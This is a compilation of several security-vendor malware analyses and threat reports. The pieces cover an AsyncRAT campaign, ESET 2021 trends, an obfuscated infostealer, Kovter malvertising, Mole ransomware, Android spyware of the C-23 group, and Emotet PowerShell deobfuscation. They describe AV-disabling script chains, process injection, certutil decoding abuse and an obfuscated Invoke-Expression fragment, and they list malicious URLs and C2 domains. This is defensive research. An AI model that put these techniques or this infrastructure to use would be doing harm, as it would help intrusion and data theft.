The image depicts the content of the supporting files like admin.vbs, admin.ps1, 1_powerrun.vbs, 1.bat, and 1.ps1 whose main task is to stop the particular AV service to evade detection and to execute the malware attack.
- **admin.vbs** - Starts the admin.ps1 powershell script
- **admin.ps1** - Starts the 1_powerrun.vbs script in admin mode
- **1_powerrun.vbs** - Runs the 1.bat batch file
- **1.bat** - Runs the 1.ps1 powershell script
The final goal of the “1.ps1” powershell script is to stop the MalwareBytes service and add exclusion for the supporting files during the real-time scanning.
After disabling the running antivirus service, it downloads the AsyncRAT malware from the killd.txt file and starts its malicious activity on the victim's machine.
### If AV Does Not Exist on the Host Machine
Here the script downloads “task.txt”, “SecurityHealth.exe” and “SecurityHealth.exe.manifest” files from the following domain “hxxp://microsoft[.]soundcast[.]me”. Then, it executes the “task.txt” file as “untitled.ps1”. It also copies the following “SecurityHealth[.].exe” and “SecurityHealth[.]exe[.]manifest” files in the startup folder for persistence techniques.
The following image shows the content of the Task.txt file which creates a scheduled task as GoogleUpdate to execute the dropped SecurityHealth[.]exe file. This naming fools the user and enables the malware to implement its persistence method.
The securityHealth[.]exe file needs the SecurityHealth[.]exe[.]manifest supporting file to execute its malicious activities. The following image shows the decoded content present in the SecurityHealth[.]exe[.]manifest containing the URL (34[.]71[.]81[.]158/Run/aaa.ps1) to download the malicious powershell script (aaa.ps1).
The downloaded powershell script aaa.ps1 contains the same AsyncRAT payload which is present in the killd.txt file.
### Final Payload AsyncRAT Malware - Execution Flow
The variable $Filc contains the actual AsyncRAT malware payload, which is injected into a legitimate aspnet_compiler.exe file to show it as a genuine file running in the background. The following image shows how the process injection is done in detail.
While decoding the variable $Filc, it results in an AsyncRAT malware file that was hidden inside of it. After deobfuscation, it is converted into a decimal format and then into ASCII to see the actual executable file (malware payload).
The injected malware payload runs as a legitimate aspnet_compiler.exe process.
### Process Injection - Work Flow
We have dissected the deobfuscated AsyncRAT to see how the process injection is accomplished. The following image shows the APIs used for process injection in the Execute method. The following APIs are also used to inject the malware AsyncRAT into the legitimate file aspnet_compiler.exe file.
The payload will also check for the Anti-VM and Anti-debugging techniques to evade detection. Here it checks whether the downloaded malware payload is running in the host or virtual machine, and also uses anti-debugging techniques to hide its actual behavior.
Finally, it steals the networking credentials of the victim and sends the stolen information to the following C&C server (invoice-update[.]myiphost[.]com).
### Similar Campaign - Delivery Using Discord CDN
We have seen several other Thailand Pass organization spam templates that directly deliver the VBScript file that leads to the delivery of the same AsyncRAT malware.
### Conclusion
AsyncRAT – like other Remote Access Trojans – is a powerful malware that plays a significant role in cybercriminal activities. ThreatLabz actively tracks these types of malware attacks to protect our customers from data theft and from other sensitive information being abused by cybercriminals.
### IOCs
**URLs:**
- bit[.]ly/Thailand-passport
- onedrive[.]live[.]com/Download?cid=6BCBE135551869F2&resid=6BCBE135551869F2!168&authkey=AGoYtbf1Lb5VjFg
- ec2-34-229-64-131[.]compute-1[.]amazonaws[.]com/New/Testavast+denf[.]txt
- ec2-34-229-64-131[.]compute-1[.]amazonaws[.]com/New/Nod[.]txt
- ec2-34-229-64-131[.]compute-1[.]amazonaws[.]com/New/Avast[.]txt
- ec2-34-229-64-131[.]compute-1[.]amazonaws[.]com/New/Killd[.]txt
- ec2-34-229-64-131[.]compute-1[.]amazonaws[.]com/SV/Malawer/1[.]bat
- ec2-34-229-64-131[.]compute-1[.]amazonaws[.]com/SV/Malawer/1[.]ps1
- ec2-34-229-64-131[.]compute-1[.]amazonaws[.]com/SV/Malawer/1_powerrun[.]vbs
- ec2-34-229-64-131[.]compute-1[.]amazonaws[.]com/SV/Malawer/PowerRun[.]exe
- ec2-34-229-64-131[.]compute-1[.]amazonaws[.]com/SV/Malawer/admin[.]ps1
- ec2-34-229-64-131[.]compute-1[.]amazonaws[.]com/SV/Malawer/admin[.]vbs
- microsoft[.]soundcast[.]me/Run/task[.]txt
- microsoft[.]soundcast[.]me/Run/SecurityHealth[.]exe
- microsoft[.]soundcast[.]me/Run/SecurityHealth[.]exe[.]manifest
- 34[.]71.81[.]158
- cdn[.]discordapp[.]com/attachments/921529408060289114/947221997325258772/qr_thailand_pass.zip
**Hashes:**
- 9f0a23cf792d72d89010df5e219b4b12 - Thailand pass[.]html
- e2da247426a520209f7d993332818b40 - Thailand pass[.]ISO
- 8f30215a81f2a2950fd5551d4f2212ce - QR_thailand_pass[.]vbs
- e8e4ea0f80c9ff49df07e9c1b119ba2a - Security health[.]exe
- 25ed250f143d623d0d41bd9123bcc509 - SecurityHealth[.]exe[.]manifest
- 4e6d695ed0559da97c9f081acf0892e4 - AsyncRAT Payload
- 2922a998d5b202ff9df4c40bce0a6119 - Process injector
- b64ac660f13b24f99999e7376424df2d - Killd.txt
- 984f6bd06024f8e7df2f9ec9e05ae3d2 - Avast.txt
- a5dfd5b75db6529b6bd359e02229ad1d - Nod.txt
- 9c0bdb129084a6c8fce1a1e9d153374b - Admin.ps1
- 7ec50ec3091ff38eb7c43e2a8a253bc9 - 1.ps1
- ae29fc1878f3471bb196ba353b3daf9d - 1_powerrun.vbs
- 44314f46a2beb1cc20a0798533f0913E - 1.bat
- 878b1aae24a87bc0dbce537336878b5E - Admin.vbs
**C&C:**
- invoice-update[.]myiphost[.]com
### Detection & Coverage
**Advanced Threat Protection:**
- Win32.Downloader.AsyncRAT
- HTML.Phish.ThailandPass
- VBS.Dropper.AsyncRAT
- Win32.Backdoor.AsyncRAT
- PS.Downloader.AsyncRAT
- Win32.Trojan.NETAssemblyInject
### About Us
Zscaler ThreatLabz is a global threat research team with a mission to protect customers from advanced cyberthreats. Made up of more than 100 security experts with decades of experience in tracking threat actors, malware reverse engineering, behavior analytics, and data science, the team operates 24/7 to identify and prevent emerging threats using insights from 300 trillion daily signals from the Zscaler Zero Trust Exchange.
Since its inception, ThreatLabz has been tracking the evolution of emerging threat vectors, campaigns, and groups, contributing critical findings and insights on zero-day vulnerabilities, including active IOCs and TTPs for threat actors, malware, and ransomware families, phishing campaigns, and more.
ThreatLabz supports industry information sharing and plays an integral role in the development of world-class security solutions at Zscaler. See the latest ThreatLabz threat research on the Zscaler blog.
|
# 2021 Trends & 2022 Outlook
## Foreword
Welcome to the T3 2021 issue of the ESET Threat Report! While 2020 was the year of supply-chain attacks and the start of the global COVID-19 crisis, 2021 was defined by shockingly severe vulnerabilities and vaccines. The year started with a bang, when Microsoft Exchange servers around the world found themselves under fire from at least ten APT groups. ProxyLogon, the vulnerability chain at the bottom of these attacks, ended up being the second most frequent external attack vector in 2021, according to ESET telemetry, right after password-guessing attacks. Microsoft Exchange servers ended up under siege again in August 2021, with ProxyLogon’s “younger sibling,” named ProxyShell, exploited worldwide by several threat groups.
When a critical flaw in the ubiquitous Log4j utility surfaced in mid-December, IT teams everywhere scrambled to locate and patch the flaw in their systems. This vulnerability, scoring a 10 on the CVSS scale, put countless servers at risk of a complete takeover. Cybercriminals instantly started exploiting it. Despite only being known for the last three weeks of the year, Log4j attacks were the fifth most common external intrusion vector in our 2021 statistics, showing just how quickly threat actors are taking advantage of newly emerging critical vulnerabilities.
The end of the year was also turbulent in the area of RDP attacks, which escalated throughout 2020 and 2021. The numbers from the last weeks of T3 2021 broke all previous records, amounting to a staggering yearly growth of 897% in total attack attempts blocked. Ransomware surpassed the worst expectations in 2021, with attacks against critical infrastructure, outrageous ransom demands, and over USD 5 billion worth of bitcoin transactions tied to potential ransomware payments identified in the first half of 2021 alone.
However, the pressure has been growing from the other side, too, represented by feverish law enforcement activity against ransomware and other cybercriminal endeavors. While the intense clampdown forced several gangs into fleeing the scene, it seems that some attackers are only getting bolder: T3 saw the highest ransom ultimatum yet, USD 240 million, more than triple the record mentioned in our previous report.
Happy reading, stay safe – and stay healthy!
**Roman Kováč**
ESET Chief Research Officer
## Featured Story
### Strategic Web Compromises in the Middle East with a Pinch of Candiru
ESET researchers discovered a campaign of strategic web compromises targeting high-profile websites in the Middle East, with a strong focus on Yemen. The attacks are linked to Candiru, a company that sells state-of-the-art offensive software tools and related services to government agencies.
The victimized websites belong to media outlets in the UK, Yemen, and Saudi Arabia, as well as to Hezbollah; to government institutions in Iran, Syria, and Yemen; to internet service providers in Yemen and Syria; and to aerospace/defense companies in Italy and South Africa. The attackers also created a website mimicking a medical trade fair in Germany.
A watering hole attack compromises a website that is likely to be visited by targets of interest, thus opening the door to the infestation of any website visitor’s machine. ESET researchers believe that the strategic web compromises only started in April 2020 when the website of the Middle East Eye began injecting code from a specific domain.
The threat group went quiet until January 2021, when ESET researchers observed a new wave of compromises. This second wave lasted until August 2021, when all websites were cleaned again.
### APT Group Activity
**OilRig**
Latest activity of the Iranian APT group OilRig with targets in Israel, Tunisia, and the United Arab Emirates; Marlin backdoor discovered.
**ProxyShell Vulnerability**
Worldwide ProxyShell exploitation by multiple threat actors starting in August 2021.
**The Dukes**
Spearphishing campaigns in October and November 2021 targeting European diplomatic missions and Ministries of Foreign Affairs.
## Statistics & Trends
### Summary
- **Overall Threat Detections**: +7.2% ↑
- **Infostealers**: -15.2% ↓
- **Ransomware**: +0.6% →
- **Downloaders**: +46.1% ↑
- **Cryptocurrency Threats**: +7.7% ↑
- **Web Threats**: +2.6% ↑
- **Email Threats**: +8.5% ↑
- **Android Threats**: +2.8% ↑
- **macOS Threats**: -5.9% ↓
- **RDP Attacks**: +274% ↑
### Key Points in T3 2021
- **Top Threat**: HTML/Phishing.Agent trojan
- **Rise in Banking Malware**: 428%
- **Highest Ransom Ultimatum Yet**: USD 240 million
- **Emotet Makes a Comeback**: Rebuilding its infrastructure with support from Trickbot.
## Threat Landscape Overview
Despite trending downward, the number of all threat detections increased by 7.2% in T3 compared to T2 2021. Ransomware operators were arrested in T3 2021, but the Hive gang demanded USD 240 million in the MediaMarkt incident. RDP attacks jumped from 55 to 206 billion between T2 and T3, increasing by 897% from 2020 to 2021.
### Top 10 Malware Detections
1. HTML/Phishing.Agent trojan
2. Win/Exploit.CVE-2017-11882 trojan
3. JS/Agent trojan
4. HTML/Fraud trojan
5. HTML/Phishing trojan
6. LNK/Agent trojan
7. VBA/TrojanDownloader.Agent trojan
8. MSIL/TrojanDownloader.Agent trojan
9. DOC/TrojanDownloader.Agent trojan
10. MSIL/Spy.Agent trojan
### Infostealers
The upward trend in Infostealer detections was reversed in T3 2021, with a decrease of 15.2%. The most significant decrease was registered at the end of the year. MSIL/Spy.Agent trojan dominated the top infostealer detections, accounting for 25.5% in T3 2021.
### Ransomware
Ransomware detection numbers remained steady between T2 and T3 2021, increasing only 1%. The first spike occurred on September 9, with Win/Filecoder.Sodinokibi accounting for 73% of detections that day. The next peak followed on September 14, with 66% caused by MSIL/Filecoder.FU.
## Conclusion
The threat landscape continues to evolve, with new vulnerabilities and attack vectors emerging. ESET researchers expect to see ongoing developments in ransomware, infostealers, and APT group activities in the coming months.
|
# Finding and Decoding Multi-Step Obfuscated Malware
February 2, 2021
Recently, in the process of a threat investigation, we found an interesting event:
Here, we have a process (nslookup.exe) that tried to connect to a malicious URL that was already blocked by our solutions. We could have stopped at this point, but searching for the root cause is part of managed detection and response (MDR) — we needed to learn why this event happened in the first place and prevent it from happening in the future.
The process in question is nslookup.exe, a network administration command-line tool used for querying the DNS. Therefore, this process performing a URL request is not unusual — at first glance. Neither is this action, by itself, malicious. However, why would anyone (aside from security researchers) query a malicious URL via nslookup in the first place?
We were able to trace where the execution came from, and we saw that the events coincided with execution of certutil:
Certutil is a command-line tool used for certificate management. The command `certutil -decode` can be abused to decode files hidden inside a certificate file (T1140), and that was done here. The file `Roccia.xltm` is decoded to `Fu.mp4`, and then the contents of `Fu.mp4` were piped to `cmd.exe` for execution. Upon digging further, we found that the starting point was user execution of a disguised file named `setup_x86_x64_install.exe` that was supposedly signed (with an invalid certificate) by AO Kaspersky Lab (Trend Micro detects this as Trojan.Win32.ALIEN.A).
This file is actually an SFX CAB archive that contains the following files:
The SFX file then executes the following command:
This will decode the content of `Roccia.xltm` to `Fu.mp4` and execute the latter file.
The contents of `Fu.mp4` are obfuscated, and when the contents are deobfuscated, they will look like this:
The code checks for multiple computer names and the `C:\aaa_TouchMeNot_.txt` file that usually indicates the presence of Windows Defender Antivirus Emulator. If any of these files are present, it will immediately exit. It will then create the file `rundll32.com` from the contents of `Agolo.mid`, but without the prepended string and with an added MZ header. This file is the AutoIt compiler.
It will also decode the content of `Custodiva.ppt`, which is the obfuscated AutoIT script.
The deobfuscated script contains junk code and a simple string decryption routine. Upon decoding the strings, this AutoIt script will be used to execute the content of `Attesa.docm` via process hollowing of a spawned `nslookup.exe`. This is accomplished by first reading the content of `Attesa.docm`.
The AutoIT script will then spawn a `nslookup.exe` process, which is then hollowed. The contents are replaced with those of `Atessa.docm`:
Upon injection, `nslookup.exe` will then perform the malicious routine. The payload consists of an information stealer that tries to acquire information (such as cookies or credentials) from browsers and cryptocurrency wallets, as well as system information and desktop screenshots. Both this injected `nslookup.exe` and an executable that uses the same command-and-control (C&C) servers (and that has a similar behavior) are detected as TrojanSpy.Win32.PRETSTEAL.A.
The stolen information is saved, compressed into a ZIP file, and sent to the following C&C servers:
- eressedu03[.]top/index.php
- eressedv32[.]top/index.php
It also attempts to download and execute a file from the following URL. However, this URL is already inaccessible.
- downhhay09[.]top/download.php?file=lv.exe
## Takeaways for Researchers/Analysts
What can other researchers or security analysts learn from an incident like this?
1. A single detected event should not be the conclusion. Find out the underlying root cause of the issue. In this case, it was a user who ran a malicious file and needed to be educated about it.
2. If a legitimate process (nslookup, in this case) behaves in a way that is suspicious, follow your instincts and dig deeper.
3. Good sensors are necessary to carry out a proper threat investigation. These sensors allowed us not only to gather sufficient information about this incident, but also to find the root cause.
## Trend Micro Solutions
Trend Micro’s comprehensive XDR solution applies the most effective expert analytics to the deep data sets collected from Trend Micro solutions across the enterprise — including email, endpoints, servers, cloud workloads, and networks — making faster connections to identify and stop attacks. Powerful artificial intelligence (AI) and expert security analytics correlate data from customer environments and Trend Micro’s global threat intelligence to deliver fewer, higher-fidelity alerts, leading to better, early detection. One console with one source of prioritized, optimized alerts supported with guided investigation simplifies the steps needed to fully understand the attack path and impact on the organization.
## Indicator of Compromise (IOC)
| Hash (SHA-256) | Description | Detection Name |
|----------------|-------------|----------------|
| d7fdbdc5b650cb21e898fe45be1aaba320b0d47b5283e45822ecc1270b420279 | Payload | TrojanSpy.Win32.PRETSTEAL.A |
|
# Major Malvertising Campaign Spreads Kovter Ad Fraud Malware
**Jérôme Segura**
*January 8, 2015*
Last year was a busy year for malvertising with top rank ad networks such as Google’s DoubleClick caught in large scale attacks, and popular sites unwillingly infecting their visitors because of malicious advertisements. And 2015 is getting off to a rough start as well. As Nick Bilogorskiy from Cyphort reported earlier this week, a campaign has been wreaking havoc on sites generating much Internet traffic. These attacks are the work of the Kovter gang which has been busy hitting major other players (i.e., YouTube) during the past year. We tracked this particular campaign as well and have observed several high level domains being victim of malvertising with a combined monthly traffic of 1.5 billion visitors.
People surfing with outdated plugins or browsers get infected through a ‘drive-by download’ attack that turns their PCs into bots participating in Ad Fraud.
## Affected Sites
| Domain Name | Alexa Rank | Monthly Traffic |
|---------------------------|------------|-----------------|
| news.yahoo.com | 65 | 527 |
| huffingtonpost.com | 88 | 248 |
| aol.com | 156 | 218 |
| weather.com | 159 | 138 |
| sports.yahoo.com | 187 | 188 |
| tmz.com | 454 | 43 |
| nydailynews.com | 609 | 46 |
| tagged.com | 611 | 58 |
| chron.com | 736 | 31 |
| match.com | 826 | 35 |
| legacy.com | 1537 | 22 |
| startribune.com | 3648 | 5 |
| 123greetings.com | 3854 | 12 |
| gaiaonline.com | 4462 | 2 |
| beforeitsnews.com | 4553 | 7 |
| intellicast.com | 4681 | 13 |
| mom.me | 6515 | 4 |
| centurylink.net | 6580 | 8 |
| rent.com | 12582 | 2 |
| entertainment.verizon.com | 12667 | 3 |
| windstream.net | 12802 | 3 |
| twincities.com | 17457 | 2 |
| webmail.comcast.net | N/A | N/A |
| webmaila.juno.com | N/A | 3 |
*Alexa rank based on Alexa.com data. Subdomains’ rank checked against SimilarWeb.com. Estimated monthly traffic in millions according to data from SimilarWeb.com.*
## Ad Networks
- advertising.com
- adtech.de
- googlesyndication.com
## Intermediate Site
- foxbusness.com
### Referrers
Examples of direct referrers (IP address: 162.247.13.70 – Canada):
- uhupa.econsumerproductexposed.swidnica.pl/1141843503/c5893070b1e9a472d191ceb6b65e2d472
- choim.vjutakujoho.mazowsze.pl/1144037683/46cab3acbf9a045526dca7c288a3b051064fd23b
- keywo.mbaang.olsztyn.pl/1809008432/8eb85bf31fa1e087bd8165bbe8876e32a137fd07
- etern.xbkblogueurpro.nysa.pl/849637756/8d75a79e1ee7a789ba8c26ef163fab9a2b81d81d
- omais.uacademics.miasta.pl/1111073264/0b457ead38ceaed7d086cea48e2b21a7d264f863
### Exploit Kit (Sweet Orange)
Examples of Exploit Kit landing pages (IP address: 195.138.246.17 – Germany):
- forex.dsantanderbillpayment.pruszkow.pl/download/page.php?vendor=228376&products=105122&smiles=18&back=150083&linktous=3314
- vivaw.hloupfute.sanok.pl/link/counter/page.php?time=254228&cityprice=160825&aboutus=88234&smiles=18&community=158990
- georg.tgrupoeroski.ostrowwlkp.pl/server_admin_small/template/dcontent/page.php?flash=296895&personal=312161&english=311124&downloads=241026&smiles=18&contests=234771
- jazzp.yv102.limanowa.pl/notebook/gp/page.php?events=156334&browse=278551&documents=60024&smiles=18&contests=9009
- blaze.vnoeuf.podlasie.pl/cadmins/page.php?classes=163726&virus=195712&customer=197770&top_left=95496&smiles=18&proxy=198597
The vulnerability exploited was CVE-2014-6332 and Internet Explorer was the target. Malwarebytes Anti-Exploit blocks this attack.
### Payload
The payload, Kovter, gets dropped in the Temp folder:
“C:\Users\{username}\AppData\Local\Temp\repfix.exe”
The payload is VM aware and also looks for debugging and other security tools. One way to know if the sample properly ran is whether it deletes itself after execution or not.
**VM or security tools on a real PC:**
- Sample does not delete itself
- POST request (domain may change) in this format: (a16-kite.pw/form2.php)
**Real machine, no security tools:**
- Sample deletes itself
- POST request (domain may change) in this format: a16.car.biz/11/form.php
We analyzed this in a real environment using Wireshark on an external laptop to make this completely transparent to the malware. That allowed us to see what it really is: Ad Fraud (and not ransomware as reported earlier by other sites). Shortly after, the flood of ad fraud requests begins.
Ad fraud, or also click fraud, accounts for a large part of the billion dollar ad industry. Ad fraud malware essentially simulates the user visiting pages with adverts as if they were legitimate views. All these requests are made in the background and game the system while the victim is none the wiser. Malwarebytes Anti-Malware already detects and blocks this threat.
### Malvertising to Remain One of the Top Threats in 2015
As we had said in our end of year report, malvertising is a huge issue that affects a wide range of people. End users, of course, but also advertisers and publishers who have to fight to defend their legitimacy. Cyber criminals will likely continue to hijack ad networks with malicious code and pocket the dividends from hundreds of thousands of successful infections.
This particular campaign is likely to migrate to other controllers or evolve into something else since it is now in the public domain and affected parties are cleaning up and securing their systems. Malwarebytes Labs will continue to monitor the situation and update you on any new developments. Special thanks to JP Taggart for providing the external recording system.
|
# Mole Ransomware: Analysis and Decryptor
Mole ransomware is almost a month old ransomware that was distributed mainly through fake online Word docs. It’s a member of the growing CryptoMix family, but the encryption algorithm was completely changed. We became interested in this variant after victims contacted us asking for a decryptor. Remembering that all members of this family so far were plagued with serious crypto flaws, we decided to give it a try and reverse-engineered it thoroughly. It turned out to be a good idea – we were successful and managed to create a working decryptor that you can download.
In the rest of this article, we will share detailed results of our research.
## Campaign and Behaviour
Mole ransomware was distributed through malspam linking to fake Microsoft Word documents. Said documents prompted users to download and install a malicious plugin. Because this variant is not new, it was analyzed by quite a lot of researchers before us. We don’t intend to copy their good work, so for anyone interested in the dynamic analysis, we recommend looking at following links. Instead, we’ll focus on a static analysis of the code and the encryption method.
## Static Analysis
As in many malware families, Mole won’t run in most Russian-speaking countries. Literally, the first thing the binary does after being run is checking keyboard layout and charset – detecting Russian ones leads to immediate process termination. Otherwise, malware achieves persistence by adding itself to the Autorun in the system’s registry, removes shadow copies after Windows’ version check, and proceeds to the actual encryption.
After being started, ransomware tries to bypass the UAC and displays a fake dialog message. After that, the UAC prompt is shown, and the user probably clicks “Yes” believing that he/she agrees to “Display Color Calibration.” Instead, as usual, malware relaunches itself with admin privileges, and Shadow Volumes are deleted.
Of course, ransomware doesn’t encrypt every file type. Interestingly, encrypted extensions are obfuscated – they were not hardcoded directly, but compared inside a giant function, after transformation with the following algorithm:
### List of Encrypted Extensions
And as usual, the most interesting thing in any ransomware is the actual file encryption algorithm. In this case, it can be summarized as follows (half-decompiled, half-handwritten pseudo-C++ code with non-essential parts omitted):
Or in terse pseudocode:
This method is not perfect for a lot of reasons, but we’ll skip detailed cryptanalysis here. The general structure of the encrypted file looks like this:
It’s very similar to Revenge ransomware, which is why we believe that Mole is the next version of Revenge. On the other hand, RC4 is used here instead of more sophisticated (and stronger) AES. It doesn’t change much, as RC4 is still strong enough for most ransomware purposes, but we’re not sure why ransomware creators decided to take this step back.
### Hashes/Patterns
Sha256 hashes of binaries:
Network communication:
Ransom note:
|
# Android APT Spyware Enhances Evasiveness
**Pankaj Kohli**
**November 23, 2021**
Newly-discovered variants of an Android spyware attributed to an advanced persistent threat actor group called C-23 (also known as GnatSpy, FrozenCell, or VAMP) have incorporated new features into their malicious apps that make them more resilient to actions by users who might try to remove them manually, and to security and web hosting companies that attempt to block access to, or shut down, their command-and-control server domains. The C-23 threat actor has, in the past, targeted individuals based in the Middle East, particularly in the Palestinian Territories. The group has been active since at least 2017.
The spyware app initially disguises itself as something called “App Updates.” The new variants appear in the form of an app that purports to install updates on the target’s phone, with names that include App Updates, System Apps Updates, or Android Update Intelligence. Sophos suspects that the apps are delivered to specific users by means of SMS text messages linking to downloads. To the best of our knowledge, none of the apps have been hosted on Google Play Store, though Sophos did reach out to the Android security team and sent details about the apps to the company.
Once installed, the spyware sends unique, identifiable device parameters to its command-and-control server. One of the newer features of this variant is that it will initially use a hardcoded C2 address to communicate but also contains code that allows the operators of the spyware to push down a new address. This ability can keep the malware functional if one or more of the C2 server domains is taken down. The new variants did not conceal or obfuscate the C2 server address in any way.
Many of the new variants were found to have been digitally signed by a certificate that Sophos has associated with malware for years.
### Changing Disguises After Installation
The first time the user opens the app, it requests that the user grant the app specific permissions to do the kinds of things you’d expect spyware to do: it requests permissions to record ambient audio and to access all files stored on the device. But the apps also use a bit of social engineering to ask the user to grant advanced permissions: notification access, device administrator, and the ability to observe the user’s actions while interacting with apps.
The app’s requests appear to justify the need for the additional features, but they’re lies. For instance, the request to “Enable Notifications” claims that the app needs this functionality or else “you won’t receive notifications in real time.” But that isn’t what Notification Access permissions do. When prompted to enable this feature, the app pushes the user to a system permissions window that accurately describes what the permission does. The threat actors may assume that the target won’t carefully read or understand the consequences of clicking Allow on this screen.
This permission grants the spyware the ability to read the full-text messages and the names of contacts from any app, such as Facebook or WhatsApp, as well as dismissing notifications from other apps (such as a mobile anti-malware app’s warnings) or toggling the Do Not Disturb settings on the phone. The device administrator permission gives the operator of the app the ability to lock the phone, but according to our analysis, the spyware’s current version has no capability to do this.
The app prompts the user to enable the device admin permission or “system won’t secure your internet connection.” In reality, the feature the spyware wants the user to enable would let the spyware lock the phone. The final prompt asks the user to change a setting with a vague warning about something being blocked as a result of battery optimization. Like the other prompts, this is also bogus. This prompt redirects the user to enable a feature that permits the spyware to identify what apps you use and when you’re using them. The spyware sends that information onward to its C2 server.
Once the target has granted all these permissions, the app disguises itself to evade any attempts at manual removal by the user. The method to attain stealth appears to be new to this version: the spyware changes its icon (and name) to disguise itself using an icon of one of the four apps: or Botim (a VOIP calling app). Once this happens, the next time the spyware app is opened, it opens the real app whose disguise it wears, i.e., it opens Chrome if it disguises itself as Chrome, thereby giving an illusion to the user that the app is legit.
The spyware app icon appears as “App Updates” before the change and afterward takes on the icon of the Chrome browser, launching that app when the user clicks the icon. The apps contain a text string in the Arabic language that they send to the command and control server when the icon has been changed.
We also found that it tried to install its own version of Botim from the application’s assets – a functionality we believe was meant for future versions, as the samples did not contain (or try to download) any Botim APK file. Each functionality of the spyware has a command associated with it. The commands are received via Firebase messaging, and the spyware performs the corresponding function as and when instructed.
The live C2 servers posed as websites for Laravel – a web application framework. Yet many of the functionalities of the spyware remain unchanged. The app does the following things:
- Collects SMS, contacts, call logs
- Collects images and documents
- Records audio, incoming and outgoing calls, including WhatsApp calls
- Takes screenshots and records video of the screen
- Takes pictures using the camera
- Hides its own icon
- Reads notifications from WhatsApp, Facebook, Facebook Messenger, Telegram, Skype, IMO Messenger, or Signal
- Cancels notifications from built-in security apps (such as Samsung SecurityLogAgent, Xiaomi MIUI SecurityCenter, Huawei SystemManager), as well as from Android system apps, package Installer, and its own notifications
Internal logging shows the app writing out the contents of the contact list, call logs, and SMS messages to a Zip archive it later uploads to its C2.
### Don’t Be a Spyware Victim
To avoid falling prey to such malicious apps, users should only install apps from trusted sources such as Google Play. Updating Android OS and applications should be done via Android Settings and Google Play respectively, instead of relying on a third-party app. Users should be particularly wary of apps asking for sensitive permissions such as device admin, notification access, or those requiring superuser/root access. Users can view the apps currently having device admin and notification access permissions by browsing to Settings and searching for “Device admin apps” and “Notification access” respectively.
We also advise users to consider installing an antivirus app on their mobile device such as Sophos Intercept X for Mobile that defends their device and data from such threats. SophosLabs has published indicators of compromise on its Github page. These samples are detected by Sophos Intercept X for Mobile as Andr/Spy-BFI. SophosLabs would like to acknowledge that @malwrhunterteam initially alerted us to some of the samples in this post. Andrew Brandt conducted additional research for this article.
|
# Deobfuscating Emotet’s Powershell Payload
Emotet is a banking trojan, targeting computer users since around 2014. During that time it has changed its structure a lot. Lately we see massive Emotet spam campaigns, using multiple phishing methods to bait users to download and launch a malicious payload, usually in the form of a weaponized Word document.
## Emotet's Chain of Infection
First, the user receives a fake e-mail, trying to persuade them to click on the link, where the weaponized document is being downloaded. The document then tries to trick the user into enabling content and allowing macros in order to launch embedded VBA code. The VBA is obfuscated. We can also deobfuscate it, but in the end, it launches a PowerShell command. Let’s skip VBA deobfuscation today, as I want to focus on PowerShell. We can obtain the PowerShell command launched by the VBA code without deobfuscation by using any sandbox with PowerShell auditing.
The PowerShell code itself is obfuscated as well. The problem with just launching it in the virtual environment is that we probably won’t see every network IoC this way. Of course, there are ways to do it (just block DNS requests, and malware should try every fail-over domain), but in my opinion, if there is time to do it – it is always better to deobfuscate code to better understand it. Obfuscation is a way to make malicious code unreadable. It has two purposes: first, to trick antivirus signatures, and second, to make analysis of the code harder and more time-consuming.
In this post, I want to show three ways of obfuscation used by Emotet malware since December 2017.
### 1. String Replace Method
This method uses multiple PowerShell “replace” operators to swap a bunch of junk strings with characters that in the end produce valid PowerShell code.
Of course, you can deobfuscate it manually in any text editor, just by replacing every string with its equivalent, or you can speed up the process with the correct regular expression. In the end, you can put this regular expression in a Python script and automate it completely. There are just a few things to consider when implementing it in Python:
- String concatenations. These little ‘+’ can mess up with our regexp, so they have to be handled first.
- Char type projection – sometimes for additional obfuscation, strings to be replaced are not typed directly to the PowerShell code, but they are converted from int to char. We have to handle that as well.
- Replacing one part of the code can “generate” new replace operators – this is because “junk string” can be in the middle of a replace operator (for example: -replFgJace, where FgJ is a string to be replaced with an empty string). For this reason, it is best to put regexp in a loop and perform replace operations as long as there is something to replace.
### 2. String Compression
This method is quite simple as it uses PowerShell’s built-in class DeflateStream to decompress and execute a compressed stream.
The easiest way to deobfuscate this is to use PowerShell to simply decompress the string. Just remember to remove the command between the first two parentheses – it’s an obfuscated Invoke-Expression cmdlet that will execute the code on your computer! Also, always use a safe (possibly disconnected from the network, unless you know what you are doing) virtualized environment when dealing with malicious code.
But what if we’d like to have a portable Python script that can deal with this type of deobfuscation? If we look at MSDN documentation, we will see that the DeflateStream class follows RFC 1951 Deflate data format specification and can actually be decompressed by using the zlib library. There is one catch: zlib’s decompress method by default expects a correct zlib file header, which DeflateStream does not have, as it is not a file but a stream. To force zlib to decompress a stream, we can either add a header to it or simply pass a -zlib.MAX_WBITS (there is a minus at the beginning!) argument to the decompress function. zlib.MAX_WBITS (which is 15) argument with a negative value informs the decompress function that it should skip header bits.
### 3. ASCII Codes Array
How does the computer represent strings? Well, that is simple, as numbers. But numbers are much harder to read for humans than strings, so these numbers are later changed to strings by every program. But if obfuscation’s goal is to make code harder to read, then why not use this trick to hide the true purpose of malicious code? This is the third obfuscation method I will present.
In the example above, we can see a long string with a lot of numbers in it. If you are familiar with ASCII codes, you will probably recognize them instantly. If not, then your hint should be a type projection after a pipe that converts every given string from the first table to int then to char. The method presented in the example also uses a split operator, which splits a string by a given separator to further obfuscate the code. I have seen samples where a pure char array is used instead of a string that had to be split.
To deobfuscate this in Python, simply use a similar split method (found in the re library), and then map numbers to chars by using the chr() function.
### A Little More About the Code
So now we deobfuscated the code, what can we gain from it? We can clearly see that this is a simple dropper that uses the WebClient class to connect to hardcoded domains, download a binary to the %TEMP% directory, and then launch it. The break instruction combined with the try-catch clause assures that this script will connect to the provided domains until a download operation is completed successfully. So if it gets a binary from the first domain on the list, we will never see others in dynamic analysis. This is why deobfuscation is important.
### Invoke-Expression
Many obfuscated PowerShell scripts (not only from Emotet) use the Invoke-Expression cmdlet to run an obfuscated string as code. This is very important when we are working with PowerShell malicious code in the Windows console because a missed Invoke-Expression cmdlet will launch code instead of just displaying it. Therefore, it is always important to look for disguised Invoke-Expression cmdlets. Why disguised? Because they are not always easy to spot. Firstly, PowerShell allows for the usage of aliases for long commands. For example, the built-in alias for Invoke-Expression is “iex”. But this is not the end! PowerShell also allows concatenating strings and using them as cmdlets, and strings can be stored in variables.
Let’s return to the example with DeflateString compression. There is the following line at the beginning of the script:
`$vERBOsepreFErEncE.tOStRIng()[1,3]+'X'-JoIn''`
